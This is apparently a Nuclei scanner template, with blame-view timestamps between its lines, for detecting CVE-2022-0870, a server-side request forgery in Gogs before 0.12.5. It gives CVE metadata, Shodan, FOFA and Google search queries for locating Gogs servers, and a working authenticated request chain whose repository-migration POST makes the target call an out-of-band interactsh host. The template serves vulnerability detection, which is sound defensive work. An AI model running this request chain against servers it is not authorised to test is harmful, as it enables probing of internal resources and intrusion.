2022-04-02 10:56:03 +00:00
id : CVE-2022-0870
info :
2023-04-06 20:58:52 +00:00
name : Gogs <0.12.5 - Server-Side Request Forgery
2023-03-17 19:17:03 +00:00
author : theamanrawat,Akincibor
2022-04-02 10:56:03 +00:00
severity : medium
2023-03-12 10:33:49 +00:00
description : |
2023-04-06 20:58:52 +00:00
Gogs GitHub repository before 0.12.5 is susceptible to server-side request forgery. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can result in unauthorized access to sensitive internal resources.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 0.12.5.
2022-07-26 05:38:35 +00:00
reference :
2022-07-26 12:10:24 +00:00
- https://github.com/gogs/gogs/commit/91f2cde5e95f146bfe4765e837e7282df6c7cabb
2023-03-18 05:17:17 +00:00
- https://huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531
2023-04-06 20:58:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0870
2024-03-23 09:28:19 +00:00
- https://github.com/cokeBeer/go-cves
- https://github.com/michaellrowley/michaellrowley
2022-04-02 10:56:03 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-07-26 12:10:24 +00:00
cvss-score : 5.3
2022-04-02 10:56:03 +00:00
cve-id : CVE-2022-0870
cwe-id : CWE-918
2024-06-07 10:04:29 +00:00
epss-score : 0.00146
epss-percentile : 0.50533
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
2022-07-26 06:57:16 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : gogs
product : gogs
2024-06-07 10:04:29 +00:00
shodan-query :
- cpe:"cpe:2.3:a:gogs:gogs"
- http.title:"sign in - gogs"
2024-05-31 19:23:20 +00:00
fofa-query : title="sign in - gogs"
2024-06-07 10:04:29 +00:00
google-query : intitle:"sign in - gogs"
2023-03-19 16:07:12 +00:00
tags : cve,cve2022,ssrf,gogs,authenticated,huntr
2022-04-02 10:56:03 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-12 10:33:49 +00:00
- raw :
- |
GET /user/login HTTP/1.1
Host : {{Hostname}}
- |
POST /user/login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
- |
GET /repo/migrate HTTP/1.1
Host : {{Hostname}}
- |
POST /repo/migrate HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
_csrf={{auth_csrf}}&clone_addr=https%3A%2F%2F{{interactsh-url}}&auth_username=&auth_password=&uid=1&repo_name={{randstr}}&description=test
2023-03-17 19:17:03 +00:00
matchers-condition : and
2023-03-12 10:33:49 +00:00
matchers :
- type : word
part : interactsh_protocol
words :
- "dns"
- "http"
2022-04-02 10:56:03 +00:00
2023-03-17 19:17:03 +00:00
- type : word
part : body_1
words :
- 'content="Gogs'
2022-04-02 10:56:03 +00:00
extractors :
- type : regex
2023-03-12 10:33:49 +00:00
name : csrf
2022-04-02 10:56:03 +00:00
group : 1
regex :
2023-03-12 10:33:49 +00:00
- 'name="_csrf" value="(.*)"'
internal : true
2022-04-02 10:56:03 +00:00
- type : regex
2023-03-12 10:33:49 +00:00
name : auth_csrf
2022-04-02 10:56:03 +00:00
group : 1
regex :
2023-03-12 10:33:49 +00:00
- 'name="_csrf" content="(.*)"'
internal : true
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022034f359e6da198c9aa9d59b835bfa4da0c47d374d219d228481faacd36d1b8d2b022100e512d964c5f4bf885f34d4645822aa764cee7504a39714416fff903295205135:922c64590222798bb761d5b6d8e72950